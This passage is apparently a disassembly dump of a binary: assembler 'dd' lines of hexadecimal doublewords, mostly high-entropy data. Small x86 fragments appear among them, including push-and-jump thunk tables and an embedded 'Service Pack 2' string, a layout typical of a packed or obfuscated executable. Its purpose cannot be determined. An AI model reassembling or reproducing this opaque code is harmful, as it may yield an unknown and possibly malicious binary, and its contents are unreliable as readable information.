0BE7DF403h, 1DB6E394h, 0DD4DC981h, 0BD8326E6h dd 7FA2ACDh, 83097500h, 0FA1899BDh, 19740007h, 0C08B5350h dd 40EB8h, 81858900h, 8D07FA15h, 0FCE28B9Dh, 5BD3FF07h dd 99BD8358h, 7FA18h, 53501774h, 40EB8h, 81858900h, 8D07FA15h dd 0FCDF2C9Dh, 5BD3FF07h, 0F38B6658h, 0A7FDD981h, 0AE94223h dd 8F000000h, 78D56CD8h, 0BFC2182Fh, 6AC08B3Ah, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 19042444h, 47000000h dd 5D43C357h, 362178F7h, 12E9h, 1778300h, 66353047h, 0A29BFCEEh dd 257DA5BDh, 8B094D0Bh, 8EBC2h, 0 dd 0E9000000h, 7Bh, 10F5260h, 5AFE244Ch, 8B24C283h, 0FA33ED85h dd 7E858D07h, 8B07FDBDh, 888B08h, 8B000010h, 4A8B660Ah dd 328D89FCh, 8307FD72h, 0FA1CC5BDh, 840F0007h, 0Fh, 0FF006A60h dd 0FA101995h, 0C4E96107h, 66FFFFFFh, 0C1FC7289h, 896610CEh dd 0CD520272h, 85895A04h, 7FD722Eh, 7232B58Bh, 0CEC107FDh dd 72896610h, 32B58B02h, 6607FD72h, 61FC7289h, 722E858Bh dd 8DC307FDh, 0FA08D595h, 0D1958907h, 8907FA17h, 0FA161595h dd 1585FF07h, 0C607FA16h, 0FA066585h, 0D8685307h, 0FFFCB148h dd 0FA08A5B5h, 0E2858D07h, 0FF07FA3Ah, 198589D0h, 8D07FA10h dd 0FD6A6485h, 41858907h, 0E907FA15h, 51h, 24748B60h, 3C760324h dd 28247C8Bh, 0C281D68Bh, 0F8h, 64E8B66h, 83C9B70Fh, 840F00F9h dd 16h, 0F0C7A3Bh, 158Fh, 28EA8300h, 8B0C428Bh, 0C12B144Ah dd 7C89F82Bh, 0C2611C24h, 0C2830008h, 850F4928h, 0FFFFFFCFh dd 0FFFFE9E9h, 0FD3EBAFFh, 0EB0009h, 593E9h, 587E900h dd 26680000h, 0E907FD74h, 0FFFD0B88h, 0FD753468h, 0B7EE907h dd 0CA68FFFDh, 0E907FD75h, 0FFFD0B74h, 0FD76A368h, 0B6AE907h dd 9A68FFFDh, 0E907FD77h, 0FFFD0B60h, 8CC2DC3Ah, 356B33DFh dd 0DB118D88h, 87BDE12Eh, 316737DAh, 0B25F48FDh, 0B09B6ECh dd 60B05D93h, 0B85B083Eh, 89E1B0E6h, 0E3F60A6Dh, 1BD23807h dd 0E68379E0h, 83197CFFh, 0A3F8FFE6h, 7DA6316Dh, 0BC3B7903h dd 0FDA3674Fh, 0E7602589h, 60BF26FFh, 5CC2FFE7h, 3BFFE760h dd 0CD732BE6h, 0E75FF259h, 0DF81087Fh, 841AFA4Fh, 922AD0F9h dd 0E18FBC76h, 0C151AA87h, 0C4FAA46Ch, 1AA5F917h, 48D88801h dd 0DBA6E22Ch, 0E9A7008Fh, 19991B2Ch, 1125C4FFh, 0CD000004h dd 721F5549h, 1BC8FEA0h, 0C16EA4FAh, 6D1A504Eh, 90C4FAA4h dd 811DF4DBh, 28769E4Bh, 0D3CB45F2h, 7B23F09Dh, 21E7645h dd 7E3F79Fh, 0A7A85FC5h, 7BA7326Ch, 0FFE68315h, 0EFD38D0Eh dd 97447A24h, 3297227Ch, 1632BDE1h, 0F728ECEh, 35FFE683h dd 0FBB536DCh, 6539D72Ch, 610112BFh, 4E84EDB1h, 748F467Eh dd 3CD82D38h, 7EDBBC62h, 6C000003h, 0A7326CA7h, 0E683157Bh dd 6638DDFFh, 39B76DBh, 43FD2678h, 520C3D9Bh, 95E22E83h dd 0E6831679h, 7AE33CFFh, 0B2EC27D4h, 1555AD7Ch, 0A44A54C0h dd 0E683CD30h, 0F9AF3FFh, 19FC66AAh, 68D1FA85h, 108E8532h dd 81E6C85h, 0F42A930Bh, 7D96CC47h, 9722CE5h, 54A7118Fh dd 26B0B17h, 9C021277h, 48BF266h, 0BF55FFE7h, 0C40454DFh dd 4056884h, 0D22BFFE7h, 0E7040366h, 32D831FFh, 18A8B8D1h dd 459BCD8h, 2E87FFE7h, 0F2D4F088h, 2007E124h, 793609C7h dd 0DA159E63h, 3033Bh, 633BDB00h, 0C92802Dh, 0B2EC29D6h dd 5E40CF7Ch, 8967B28h, 2E99ED2h, 0AC598F0Fh, 53003668h dd 0FEABE1BDh, 84538915h, 0F8AD102Ch, 6DD307E3h, 0AB67BCB6h dd 993F68F3h, 0EC7727ECh, 0D0CE479Ch, 8967D2Ah, 0A2FC187Dh dd 7BFAE812h, 1EC0CA3Dh, 9FC63A78h, 0A2FFE6BAh, 0FFE6CA3Bh dd 667E0F05h, 1518A9D0h, 1E73036Ch, 7306ACF2h, 5A44CE23h dd 0ED940B4h, 9AEFFFE7h, 5AF142B5h, 0DA6EE8B6h, 35C52E04h dd 0E128E719h, 0D492EB07h, 9E638975h, 6DFC9BD6h, 71000002h dd 16C3F9A5h, 0BF6CA2FCh, 65124856h, 11BEF4AAh, 34689E00h dd 2579987Fh, 0CCD242EFh, 7727E996h, 1F7F9441h, 0A6C21AE9h dd 7E3F843h, 0A7540B71h, 42A7326Ch, 0DD42CDD1h, 7BE06B33h dd 287A0599h, 419D45FFh, 0A1725610h, 0BFF7C7FDh, 5D38748Fh dd 1F5h, 8379E0EEh, 0CD43FFE6h, 931E8095h, 4E50C56Ah, 0A1319AC3h dd 4ED9C54Ch, 94417F25h, 3297227Ch, 0F030C0DEh, 833194B0h dd 65FFFE6h, 0E683379Ah, 5E045DFFh, 0C47EAFCBh, 386E30E0h dd 9DC54BA0h, 37C22B73h, 6098680Eh, 4738748Fh, 0E5EAA21Dh dd 0B2283EE5h, 768C065Fh, 4324CA15h, 54h, 8E96F3D4h, 21B11A84h dd 0E0981B05h, 514E7807h, 2CD494D4h, 0E0398228h, 637B3122h dd 40DF1A9Eh, 194h, 9CD2CC4Ah, 457B23EFh, 0EB217D98h, 97CDD13Eh dd 417727EAh, 0A26F580Dh, 0FB19C6FCh, 50C06DA3h, 0A86B184Eh dd 99F1C0F6h, 0E3F91A7Dh, 2BE24807h, 0ADED2D85h, 0E6832E91h dd 55FB54FFh, 0E68386E1h, 0B9329CFFh, 0EDACFC74h, 0DD079700h dd 771D26DAh, 0EB26BAD0h, 8B8B469h, 166F99Fh, 0C1598F0Fh dd 6FFAA46Ch, 2A930B0Ah, 623CD784h, 96CCBED7h, 415DB360h dd 0E9B55E0Bh, 831BF95Eh, 0A267E4Dh, 0FFE6B2A7h, 84E974CDh dd 76D70D91h, 95BF4F19h, 98B8F875h, 46A9C52Ch, 6CFFE726h dd 0A430AA13h, 2CAE7C8h, 80E5781Eh, 5FD30995h, 0FFE6FBF8h dd 55E57B0Eh, 0E12DAF39h, 749E3307h, 0D769F2Ah, 0B4EA287Dh dd 5D41D17Eh, 0FBA36DD2h, 95090B70h, 2E70A50Ah, 3AFF8AA3h dd 0E0CCBB1Eh, 0C054E907h, 7C0C75DEh, 0DAF36A60h, 611F780Fh dd 9999B6CCh, 9D75144Fh, 41000000h, 0E693C9D5h, 8F3C722Ch dd 35E21886h, 0E18EC4DAh, 4386E30h, 0F5A9684Fh, 9C0212BFh dd 4757B966h, 0EFAF6411h, 7692EAB9h, 7E3FA13h, 0A724DB41h dd 42A7326Ch, 2642CDD1h, 0BC573BF5h, 0A4DCACE2h, 8B38748Fh dd 0F35BB061h, 7A95017Dh, 7709924h, 238061h, 0DB300000h dd 7BE643Ah, 0E6837AE0h, 0CFCF44FFh, 5AA2153Fh, 0CF037BE5h dd 0FE53EB29h, 0FBE28816h, 14h, 8379E094h, 2E58FFE6h, 642149DEh dd 6512B8C9h, 3BAF0AEh, 9F764E6h, 0AF000000h, 5CE7B75Ah dd 95F48D33h, 0A42F6FA7h, 3FCAD43Fh, 0DD6836DAh, 77029C78h dd 149FFF12h, 0B13C62AFh, 50DBC34Ch, 0E9742AEBh, 85108E84h dd 0E2895252h, 58F5BD55h, 814D1C5Dh, 5D58F0EDh, 5DEA011Ch dd 8704EA83h, 685C2414h, 5C61h, 68243C89h, 387h, 68242C89h dd 7FD7393h, 83243C8Bh, 256804C4h, 89000032h, 4832424h dd 525D0424h, 89F98951h, 558959CAh, 2C8B5A08h, 0E1895124h dd 4C181h, 0C1810000h, 4, 5C240C87h, 53243C8Bh, 0C381E389h dd 4, 4C381h, 1C870000h, 19E95C24h, 6DFFFD06h, 59926900h dd 0F31C3436h, 0EA7025E0h, 785CB8A8h, 0C50307FDh, 20EBD18Bh dd 8 dup(0) dd 54CE9h, 540E900h, 0BA680000h, 0E907FD7Ah, 0FFFD05CCh dd 0FD7B5868h, 5C2E907h, 1C68FFFDh, 0E907FD7Dh, 0FFFD05B8h dd 0FD7D8568h, 5AEE907h, 2AECFFFDh, 81913E74h, 0DB3AE71Dh dd 2FE08DC3h, 858C396Fh, 0FAAFE319h, 689E0011h, 0F4559BBh dd 0BAF0AE62h, 6298060Dh, 0BC1F3B93h, 0EA07E3FCh, 6EA7CD84h dd 1279A530h, 1C7FE683h, 40995A84h, 0E9F295DCh, 4D750A6Fh dd 0FB56361h, 95CDD48Eh, 33B87565h, 3Ah, 2487A3E3h, 527FE74Dh dd 0E09C53F9h, 0FFE6837Ah, 0D767F990h, 830E9082h, 3F5FB55Ah dd 8DE50199h, 0B907E3FCh, 977BD060h, 0AD537C07h, 2C886Fh dd 0EB400000h, 0C4ED7826h, 79E0671Eh, 58FFE683h, 0E68C1203h dd 0E0350485h, 0B6DF6A34h, 0E682E74Ah, 4BB40DFFh, 0FC479FBBh dd 65F07E3h, 6EA719D0h, 2B55A530h, 0F19B9758h, 2B9F4564h dd 7FE75EC3h, 1E59FE0h, 0F3548A14h, 1834C49Ch, 7FE5B7B1h dd 96FB86DFh, 8AEB217Dh, 0DEFA3AFFh, 7FE5B77Bh, 81E450A9h dd 0AF7FE5B7h, 335DED56h, 30585C15h, 46DE84D7h, 260B106h dd 8127900Eh, 0E004930Dh, 46D62F87h, 187EA06h, 425E77ECh dd 77EC01DFh, 16BAC05h, 72EFA6ACh, 0B75DC60Ah, 391F824h dd 1A9B77ECh, 0B215960h, 89BFB07Ah, 50000000h, 87A396F3h dd 0FFE68324h, 0C154F952h, 0C02952DDh, 0F5E81430h, 9DF607E3h dd 435BB80Dh, 9BC5059Dh, 5CCCCD89h, 5D0AB0E9h, 358E8B6h dd 0AAE88E10h, 0CA8816FDh, 9E6489CBh, 34AE924h, 61000003h dd 6B3E9B5h, 0AF5C920Ch, 55023866h, 1AEE4BAh, 24588E10h dd 1589886Fh, 0BCE232DFh, 6737D986h, 0F8F8431h, 96B20AD9h dd 7E3FD33h, 0BC44FB61h, 69F4AA67h, 7920C04h, 0C8FB75DEh dd 7E570B16h, 0BB1E05ABh, 0B7000002h, 0A5306EA7h, 0E6831279h dd 842E15FFh, 0CD31FFE6h, 0CEFFE683h, 0FFE68367h, 0E683036Ah dd 839F06FFh, 0D4B5BFE6h, 72DBC350h, 0A802C6E2h, 0D32CC7E3h dd 71A3F848h, 0A787EA06h, 54ADC7E3h, 0A5E445EBh, 0C50F2BBBh dd 0E1CFDDD8h, 0C331CA88h, 0DF1A599Eh, 26540h, 8717FF00h dd 306EA451h, 0D6C84DFAh, 821CF3A0h, 2C729F4Ch, 260DC2F6h dd 0D07DB3EBh, 77245A44h, 22CF0599h, 0A877ADF1h, 0FED13450h dd 99FF07E3h, 0D192BCE2h, 264214E4h, 5DE8B65Ah, 7825CB34h dd 1E73039Bh, 906ABF3h, 3BE10A95h, 66FA8FA8h, 9846BAD6h dd 379007E4h, 0DDC15401h, 831BFAA7h, 0B6AADFF8h, 67CAE626h dd 8D07E467h, 0DAF68E34h, 0FE1E06Eh, 4730E378h, 0E71FC82Bh dd 2C95EEFFh, 0C9F333C3h, 7FC75084h, 467D346h, 32FFE73Fh dd 5DF533D9h, 0E8EFA533h, 58B980A1h, 2992BB46h, 7A1A7D99h dd 0EF48FFE7h, 7A6ED549h, 584FFE7h, 368BCB5Bh, 1039C4DAh dd 0E77A41A4h, 9C166FFFh, 880146BEh, 9E36DC56h, 0E4C81282h dd 0EB7BD407h, 0EB217D96h, 39C9D53Eh, 0C86E30E4h, 37B20935h dd 0C1C807E4h, 7ACF0F9Fh, 0EB5F0599h, 0FE1B08Fh, 79CE5EB7h dd 21CE049Ah, 0F521ACF2h, 0FFE7509Eh, 9E011D5Dh, 0C4FFE750h dd 2564C56Bh, 0BD56AB3Bh, 87A33BE1h, 7E4C91Bh, 85DA6AC3h dd 2DDA108Eh, 0FE28B8E6h, 0ECE6F7A3h, 79A4059h, 35C59BEEh dd 0E1CCC119h, 18CE50Fh, 0E72C6ED5h, 0A0E078FFh, 0E72C2184h dd 50F64FFFh, 0D60E15CFh, 74387537h, 0Ch, 0A079E005h, 709FFE6h dd 0A2000000h, 0E69D79E0h, 7CBC39FFh, 0E682FD60h, 24CA23FFh dd 0A9AC6C3h, 0B6E8ACAh, 0D5FFE683h, 0ADD6613Dh, 0EF99136Ch dd 5FCB3212h, 9105791Fh, 3D07E4D2h, 12FF54E4h, 30E64965h dd 0B30C07E4h, 0F811A44Ah, 233FCF91h, 0FDE601Dh, 8CEB257Ah dd 0EE030D70h, 71DA33FFh, 0CE17BDE6h, 56CAB775h, 0C2FD999Eh dd 0A123h, 4B53C300h, 0F4AA6815h, 9A0411BEh, 4658B764h dd 0F0AE6310h, 0EAD186BAh, 94417727h, 3BE81E80h, 0E693C9D5h dd 6C3B712Dh, 95F814h, 55BB07E4h, 0CA96F39Eh, 6CA5FA3Ah dd 3B57A732h, 0FFE683D8h, 963CA5FEh, 0E3FCAE22h, 4FDF3807h dd 0FD8816FAh, 829B2ED4h, 0ADC95907h, 0FDE1CF3h, 0D7B876CFh dd 0F4999E8Fh, 381AB9h, 0EA2C0000h, 41D17EB4h, 9B7A275Dh dd 0EF20CD03h, 45CC79AFh, 3AEF2359h, 0A8DEC051h, 4F8519FBh dd 0FA306EA2h, 0A2D8C64Dh, 0FC5F7BD3h, 2A07E3FFh, 36D0DC4h dd 6000000h, 6FA75CBBh, 0D43FA42Fh, 36DA3FCAh, 9C78DD68h dd 0FF127702h, 62AF149Fh, 0C34CB13Ch, 2AEB50DBh, 8E84E974h dd 52528510h, 0C281E289h, 4, 4EA81h, 14870000h, 4895C24h dd 0E6895624h, 4C681h, 0EE810000h, 4, 5C243487h, 68243489h dd 12CFh, 0BE240489h, 368B253Ch, 6185EE81h, 0B95147C6h dd 0 dd 0CE89F129h, 4EE8159h, 54093DC3h, 8324048Bh, 895304C4h dd 85889F3h, 83241C8Bh, 34FF04C4h, 0C4835824h, 2434FF04h dd 4C4835Eh, 0FD009BE9h, 7EDF2FFh, 0E2B8E647h, 307FD7Dh dd 0E9C88BC5h, 156h, 449BEB92h, 0DA95ECE7h, 6715893h, 0BEB6CFDFh dd 365D54FDh, 0BCECA436h, 0C55DD500h, 0D676D352h, 0FC94A4h dd 0C1AEC441h, 5277CB50h, 9CACAC32h, 6C46BF00h, 7390ADFCh dd 0D6A33659h, 9C72E275h, 0DD0090BDh, 9B8CE693h, 64A592A7h dd 92A7ABDDh, 7A918F97h, 0B9F95CFCh, 9BB1E496h, 9F47E4B5h dd 0B6E592B6h, 9EBDF694h, 96B3EBB5h, 9C93D0ECh, 7B97BF99h dd 89F55CFDh, 0EDAFF493h, 0E3B2CD00h, 0D4E594A6h, 5700C3B5h dd 0F3622D44h, 2CAE29B0h, 34000000h, 38000000h, 2 dup(0) dd 4000000h, 94000000h, 5000000h, 1000000h, 28000000h dd 200000Ah, 53000000h, 69767265h, 50206563h, 206B6361h dd 32h, 22h dup(0) dd 0DDE90000h, 6800001Eh, 7FD81A8h, 0FCFF23E9h, 827D68FFh dd 19E907FDh, 68FFFCFFh, 7FD834Ah, 0FCFF0FE9h, 83EF68FFh dd 5E907FDh, 68FFFCFFh, 7FD84BDh, 0FCFEFBE9h, 858968FFh dd 0F1E907FDh, 68FFFCFEh, 7FD8640h, 0FCFEE7E9h, 86EE68FFh dd 0DDE907FDh, 68FFFCFEh, 7FD8A9Fh, 0FCFED3E9h, 8AF768FFh dd 0C9E907FDh, 68FFFCFEh, 7FD8C37h, 0FCFEBFE9h, 8FA068FFh dd 0B5E907FDh, 68FFFCFEh, 7FD934Dh, 0FCFEABE9h, 968B68FFh dd 0A1E907FDh, 68FFFCFEh, 7FD97B5h, 0FCFE97E9h, 982C68FFh dd 8DE907FDh, 68FFFCFEh, 7FD989Ch, 0FCFE83E9h, 990368FFh dd 79E907FDh, 68FFFCFEh, 7FD9A8Bh, 0FCFE6FE9h, 9B9568FFh dd 65E907FDh, 68FFFCFEh, 7FD9D28h, 0FCFE5BE9h, 0C7D73FFFh dd 702EE491h, 16888D3Ah, 0C2DC33E0h, 6C32DF8Ch, 664D0236h dd 10BDF3ABh, 0B7649A04h, 620F4559h, 0E8B7EDB1h, 3117490h dd 0D93F07E4h, 0B6CA722h, 0E6838CEFh, 0F861BAFFh, 6C0B086Dh dd 37A3FB17h, 0FFE683D4h, 0A40A902h, 0F080E0A9h, 0E0AE3AD4h dd 840F6807h, 0E0ACF158h, 0C07AFB07h, 6EB581B9h, 201F40h dd 0F3B00000h, 1E3ACA96h, 7E09C50h, 3E6AF54Eh, 7E09BD7h dd 9FA660E1h, 406EA767h, 0CD05h, 6CA79600h, 0CF42A732h dd 34DF44CFh, 997ADF6Ah, 375BCF05h, 0FBFFE687h, 0A3508618h dd 7B23F270h, 26428212h, 0FFE687C3h, 872386A2h, 0F851FFE6h dd 25B85EB7h, 53E37D0Ch, 0E0A89937h, 6FA1F607h, 386AA42Fh dd 0F487B6Bh, 448D339Ch, 845A8C4h, 126B07E1h, 6BF6A86Dh dd 42A3D942h, 49891947h, 3A5621F4h, 7E108D7h, 0B03BA4FDh dd 2A6DE187h, 180FDDEAh, 37DA2FBFh, 8D843167h, 0A81B5311h dd 0C904999Fh, 1C3B2Ah, 0D7C74F00h, 801EF4A1h, 26789D4Ah dd 0D2CC43F0h, 7C22EF9Ch, 765D1246h, 20CD039Bh, 0C774AAF4h dd 721F5549h, 0F8C7FDA1h, 42184A0h, 0E94F07E4h, 346AA732h dd 0A0C251FEh, 759E2975h, 910C6FBh, 74DDF689h, 96F3873Eh dd 2CE53ACAh, 1834CC72h, 7E09C4Ah, 59BCD858h, 8707E09Bh dd 0E3AC52Eh, 7E09BA7h, 6F7630B1h, 406EA737h, 5846C91Eh dd 99D1B2h, 0A7620000h, 57A7326Ch, 0EB910D02h, 40CBD33Eh dd 0E687F014h, 0C5D93AFFh, 6D31E28Fh, 0D23D92E2h, 721841CCh dd 58E87811h, 0E0A89E3Ch, 0ADE33C07h, 93233D4Ch, 0A7D43753h dd 0A90207E0h, 12B6B03h, 0D62300E0h, 10842AD1h, 0FDDAABCh dd 0AC0191EAh, 56033965h, 0FF25E3BBh, 0CC999F58h, 1B66F291h dd 0F2240000h, 49C976ACh, 0A3721F55h, 0F718C5FBh, 4DC471A7h dd 32E71B51h, 0A0D6C849h, 477D21F3h, 0F228769Ah, 9AD0CE45h dd 0F45773CBh, 2207E404h, 6AA705BCh, 0C251FE34h, 0A7EFA6DCh dd 42A7326Ch, 0FF97CDD1h, 0F0A9ADD5h, 0BFD97496h, 8E760276h dd 0E2BB61CAh, 0B76D1CC6h, 4DDD4658h, 0E08E2F31h, 0FD3A9307h dd 0A9F52075h, 435BB91Eh, 55C034DAh, 73C46EF4h, 0A4072316h dd 0D2BB5AEFh, 64801079h, 0C354F7A2h, 91F41090h, 0BFBC74E7h dd 2272FD66h, 0F21E44CDh, 3C9D43ACh, 2E83134Dh, 52EB9E5h dd 26ABC75Fh, 90C46F22h, 4B67A737h, 0BB5AE0E8h, 925B50Eh dd 0BB5AE1A6h, 35CD73CCh, 356B33E0h, 55138B88h, 22ED9111h dd 9918B7F2h, 0F100001Ah, 96437925h, 3FEC227Ch, 0E592C8D6h dd 913E742Ah, 0B4E81E80h, 0A5F918FFh, 4C52C26Fh, 0F7A76916h dd 9FFF14C1h, 26429A69h, 7E406C3h, 0A7D48BF1h, 8EA7326Ch dd 80D565FBh, 0CF670D91h, 0E0B469B3h, 93042E07h, 2D17D621h dd 504EC66Bh, 0ADF69CC5h, 0A26FC454h, 0E14A54C0h, 0C24FD3Bh dd 13FD2762h, 7692228Bh, 0FDB2C74h, 68CC0962h, 0C7988688h dd 0DD6DF396h, 9286FFC1h, 0FF8AE3CFh, 2DBDA3E6h, 2CB18C11h dd 51E13AC8h, 518717FCh, 0DF008FB9h, 76BB343h, 3F5FB461h dd 282D3781h, 3AD9145Eh, 19F4h, 0E81E8096h, 91C7D73Bh dd 376D31E4h, 0E319858Ah, 8DC3DB36h, 56BBA459h, 0AF651248h dd 40CB9EFh, 5CB7649Ah, 0E53D0C42h, 0E40666C9h, 6F268C07h dd 0A2326CA7h, 4ED9C54Dh, 0E7727E9h, 82FF627Eh, 0CC25FFE6h dd 0F7A9326h, 0C3A5C151h, 0EF07E0A3h, 7E876096h, 1BABB5D4h dd 18BCB1DBh, 5B9B43FFh, 355EE9B5h, 0B6E827CCh, 9A9A9C10h dd 0EF480FDAh, 52394EB2h, 3E4B9C8Fh, 0CE732BE6h, 5EEE5747h dd 893B8042h, 42D166A4h, 3FA8D15Ch, 0EB3A64B4h, 393F2ED9h dd 0FD8CED93h, 32B7D363h, 9CA3336Dh, 3373B343h, 8F18B417h dd 0E489E29Ch, 0BCE5702Eh, 0F4AA6916h, 0A5082464h, 0CB9C8F18h dd 0E18ECC72h, 16AE6C32h, 3705315Ah, 19265DFCh, 0B2640000h dd 909B6ECh, 63B25F95h, 0B758053Bh, 0D04B1E7h, 72275B91h dd 0E0168889h, 87BDE133h, 326836DAh, 0DA108E85h, 3497B30Bh dd 6207E407h, 6CA745FCh, 0C64DA232h, 7E244DD8h, 0A9B7D2EBh dd 4F4FC419h, 8340A3BFh, 0D66FFE6h, 81B3CF67h, 6507E0ADh dd 4AFC07FBh, 0EF583904h, 0B5F721B9h, 5A44CD3Eh, 85A531E0h dd 4FF906DFh, 7A96263Ah, 0FDAA478h, 64C8055Eh, 0FD2954E7h dd 0B758CCBDh, 1EF75CE7h, 1EAE1780h, 1E28B4DEh, 726B1E6Bh dd 6C9658CCh, 63BC0523h, 96CABFD8h, 0A765EA06h, 0AB000299h dd 81AA3569h, 0A93992DBh, 78FF1469h, 2955F95Ch, 65CE27FDh dd 5E0BB1DAh, 6B3E9B5h, 0E9D3910Dh, 5264DB1Ch, 185A7817h dd 0E6300000h, 3DD582B8h, 977E2B61h, 0EB24D107h, 41D07DB3h dd 3EF3275Dh, 0ACE2BC55h, 538915FFh, 0FE346AA6h, 0A6DCC251h dd 637FD7h, 2607E408h, 6CA709C0h, 0FB8EA732h, 732BE93Eh dd 0E683A407h, 0D73DD2FFh, 0AA133CC7h, 4771B141h, 0E134531Ch dd 0B8DF43BDh, 23198D33h, 6007E0DAh, 8BA10420h, 76CF07E0h dd 0F82E87D0h, 2C5D071Fh, 8688A434h, 2C0FDA91h, 8C3296D3h dd 2293AF89h, 4D69F967h, 9BA9848Bh, 0B1ED22B7h, 4C52C126h dd 0C62F98C1h, 0F967223Bh, 0AEC84D69h, 9DF69C13h, 435BB80Dh dd 0A34B750Dh, 0BFD8E6E8h, 3AD9862Ch, 0F90AA664h, 0E01B0A51h dd 17A341h, 6F2FE700h, 18868C39h, 0BEE035E2h, 6A34DB88h dd 148A8734h, 0EF5AADEh, 0B8659B03h, 5F0C425Ch, 0AB7EDB1h dd 905F9509h, 9B91C38h, 81E707E4h, 326CA7CAh, 65FB8EA7h dd 264B9D5h, 197207E4h, 0C1DD3489h, 0CF670D36h, 4AC9997Ah dd 37A0C954h, 0A1C152A7h, 769F2A74h, 0B529670Dh, 7E402E2h dd 75ABB5D8h, 0C3534BC8h, 0ED7DAA99h, 19F7EADFh, 9C771C85h dd 0BD1E5C02h, 0E80494CCh, 0FE16393h, 0A8F61D72h, 54EF41Dh dd 0B2DC1CACh, 61CE188Bh, 410B581h, 40E60F9Ah, 0E91F7F93h dd 3DC8D63Ch, 0A5633BD8h, 99993833h, 0F536D510h, 95000016h dd 3AE71D81h, 0E390C6D8h, 89366C32h, 35E21886h, 588CC2DCh dd 4955BCA3h, 0F0AE6613h, 9B030DBAh, 435BB865h, 0CAE63E0Dh dd 7E40967h, 0BC70278Dh, 98F85592h, 0F1DF7h, 2E8F359Eh dd 3575055Bh, 0DBB6980Bh, 42E8E894h, 0E46179CEh, 11FF5407h dd 99EE78Dh, 9B2B940Ah, 41D1CD46h, 0A382E501h, 57B007E3h dd 7B1273B1h, 0E23955E5h, 0F007E3A3h, 7AE00C97h, 8407E3A3h dd 0A424903h, 0A84071ABh, 68h, 8A9AF339h, 5F88138Bh, 1C3C66F6h dd 188A5F5Ah, 0AB8857CDh, 477AF331h, 8EED09A1h, 0ACFFE774h dd 359CC853h, 3FFFE774h, 0C5FD04BEh, 6338757Ch, 34h, 837AE0F4h dd 2F59FFE6h, 1976E633h, 66C76DB4h, 6DAD3D23h, 0E6ACEE51h dd 15BB14FFh, 0CE13617Dh, 0B60F07E0h, 74BCFC26h, 772A23FFh dd 0A6FB93D1h, 0D2892F6Fh, 3ACA96F3h, 0E0AD8C1Eh, 36C11A07h dd 0F12042D1h, 610E44ADh, 1161ECB2h, 0AC52B5D1h, 0EB8007E0h dd 0C3EC7727h, 0A07B45Ah, 77B00994h, 283AD9BDh, 1248B1EDh dd 65F0AE65h, 93233D4Ch, 0DAC30D77h, 0DC358A0Fh, 7AD31CC2h dd 0FB7C9744h, 0C23C9FBBh, 116AFFE6h, 0E6C242A5h, 931937FFh dd 0FF4DAB5Ch, 71FC65BEh, 1DEE0145h, 3085D578h, 9213B9E5h dd 7F1FF4D8h, 27779C49h, 0C6D8379Ch, 77DAF636h, 9D781CE6h dd 790B9E44h, 75A00F39h, 4B60F7E3h, 866A24A5h, 6BCEEA8Dh dd 35781D5Ah, 2982C3DBh, 9DF28AC0h, 749D2876h, 85F221CEh dd 1D5A0669h, 6AD32C78h, 138B85DAh, 26B95F88h, 54E47C0Dh dd 4C52BF14h, 76CC32A6h, 0A1FA8017h, 4955BE6Bh, 0E3BB59BEh dd 0CC6FF58h, 378CEB28h, 0C35C0DEh, 0B34E3DA0h, 0A10A637Fh dd 4955BE6Bh, 7CE4A5BEh, 217D97ECh, 2FC76D96h, 0AD639513h dd 86A2E287h, 781D6223h, 737EF851h, 0ED57B63Dh, 63BC05ABh dd 0B93802Dh, 0E5ED5480h, 80D8881Ch, 0E54CB56h, 0CC72771Eh dd 82C2914Bh, 1D700366h, 5ED83168h, 0D924F8E1h, 0DA872DC0h dd 822F6539h, 0BB72FF8Eh, 0D1F37DB5h, 638DDD68h, 0E288C845h dd 0E3903605h, 0C9E5702Eh, 16FADE98h, 6BA55288h, 405EB70Ch dd 0BD208CB5h, 0E3681CFFh, 3196218Ah, 0DC35C0DEh, 0B2DB378Ch dd 0F6C35F80h, 56E14AABh, 4C06872Dh, 7CE5A868h, 0A0C3BFBAh dd 86B8717h, 2E681C9Ah, 9E366CD5h, 940A095Eh, 1174E009h dd 3F681C9Ah, 7D9340E6h, 9A7BDEFAh, 50A9681Ch, 46435CE7h dd 9A74D7F3h, 49A2681Ch, 0E61050E0h, 7469BD26h, 0AE22C803h dd 7017261Ch, 54E671CAh, 838D712Bh, 0F84DE51Bh, 0CEF7821Ch dd 6987B28h, 65FD167Bh, 3D66F1ADh, 451A44D4h, 0E7B75DD1h dd 0F9B9335Ch, 14A74D87h, 290DC7F8h, 0FA24B4EAh, 32DF14C7h dd 0DCA7F26Ch, 0D655B8D4h, 227B6FB2h, 5D513B9h, 0A840E2CDh dd 176Bh, 69A7FC00h, 0F891AA35h, 0C6BCD868h, 1407E098h dd 289E85BBh, 37000000h, 0F0AE67BCh, 0E9963C65h, 0D3EC7727h dd 0FE1AAAB6h, 7E099E4h, 4C199802h, 0F4DBC75Ch, 0E0D575D8h dd 0D9429B07h, 7B833A70h, 90D0B963h, 89E2E400h, 3BD007E0h dd 153EC9D5h, 4AC71CACh, 0E169AE54h, 892285A1h, 28EC07E0h dd 81C2EB76h, 108E8328h, 42B65C85h, 0FC93A0DFh, 34C49CEDh dd 299D5618h, 2AE77CFBh, 267B0B74h, 5F86A1ECh, 27D4D3C9h dd 640A33BEh, 8FD1B8D1h, 95EE3FFh, 2F88FC94h, 0D5C94A9Fh dd 7D21F29Fh, 0D0BE3FBFh, 46E5206Ah, 1344h, 98CED046h dd 417727EBh, 0E71D8194h, 93C9D53Ah, 3D732BE6h, 0A66B5409h dd 0FF15C2F8h, 54BC699Fh, 0AC67144Ah, 95EDBCF2h, 0E40D1679h dd 1FD63C07h, 0E6847DE0h, 62FE8BFFh, 0B3FCB6D2h, 91EA07E0h dd 3A64AC01h, 0E5B95704h, 801EF55Ah, 63E130C2h, 3FDE199Eh dd 12ECh, 0F026789Eh, 99CFCF43h, 3F7529ECh, 0EB217D92h dd 95CBD33Eh, 4EC3AC61h, 0A76D1A50h, 0FC14C1F7h, 54BF6CA2h dd 0ED45144Ah, 0E40D6ED1h, 772E9407h, 3ACA96F3h, 0E0B3641Eh dd 99298207h, 9AD0CE44h, 0EE7925EDh, 89148A89h, 0B362B7F7h dd 0B245A8C4h, 126B07E0h, 0C88203A9h, 365F2EE4h, 0E26A79F7h dd 85C555BEh, 0E0DB0669h, 7B972C07h, 0FD15BA23h, 0E4BDFBA1h dd 0B5537E1h, 0BDE131CEh, 5759032Dh, 50076A86h, 0D42D07E1h dd 1C1FC85Ah, 6993E376h, 921B85D8h, 0CC40E657h, 7E15166h dd 5726E061h, 0E58B1302h, 8EC4DA38h, 2D71A1F6h, 